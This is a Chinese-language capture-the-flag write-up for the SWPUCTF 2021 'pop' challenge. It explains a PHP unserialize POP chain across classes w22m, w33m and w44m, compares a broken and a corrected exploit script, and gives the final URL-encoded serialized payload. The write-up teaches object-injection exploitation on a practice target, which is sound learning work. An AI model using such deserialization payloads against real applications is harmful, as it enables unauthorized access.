NSS [SWPUCTF 2021 新生赛]pop

倒推一下，最后一步是调用getflag函数，admin和password要求为w44m和08067。

第一步应该从w22m类的魔术方法__destruct()入手，所以中间第二步应该是w33m（第一步w22m类的魔术方法__destruct()里面的echo触发__toString()）。

因此我们构造的东西（$jay17），他是序列化后的w22m类，w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类，w33m类里面的变量w22m为w44m类里面的Getflag函数，并且w44m类的admin和password变量为w44m和08067。

先看我错误的exp：

<?php

class w22m{
  public $w00m=new w33m();
}
//因此我们构造的东西（$jay17），他是序列化后的w22m类，w22m类里面的变量w00m=w33m类

class w33m{
  public $w00m=new w44m();
  public $w22m='Getflag';
}
//w33m类里面的变量w00m为w44m类，w33m类里面的变量w22m为w44m类里面的Getflag函数

class w44m{
  private $admin = 'w44m';
  protected $passwd = '08067';
}

//并且w44m类的admin和password变量为w44m和08067。
$j17 = new w22m();
echo urlencode(serialize($j17));
?>

正确exp：

<?php

class w22m{
  public $w00m;
  public function __construct()
  {
     $this->w00m=new w33m();  
  }
}
//因此我们构造的东西（$jay17），他是序列化后的w22m类，w22m类里面的变量w00m=w33m类

class w33m{
  public $w00m;
  public $w22m='Getflag';
  public function __construct()
  {
     $this->w00m=new w44m();  
  }
}
//w33m类里面的变量w00m为w44m类，w33m类里面的变量w22m为w44m类里面的Getflag函数

class w44m{
  private $admin = 'w44m';
  protected $passwd = '08067';
}
//并且w44m类的admin和password变量为w44m和08067。

$j17 = new w22m();
echo urlencode(serialize($j17));
?>

不同点分别是

class w22m{
  public $w00m=new w33m();
}

class w22m{
  public $w00m;
  public function __construct()
  {
     $this->w00m=new w33m();  
  }
}

区别在于类中属性，赋值为另外一个类时需要用构造方法。

Payload:

/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

(因为类里面有private，所以不要忘记url编码)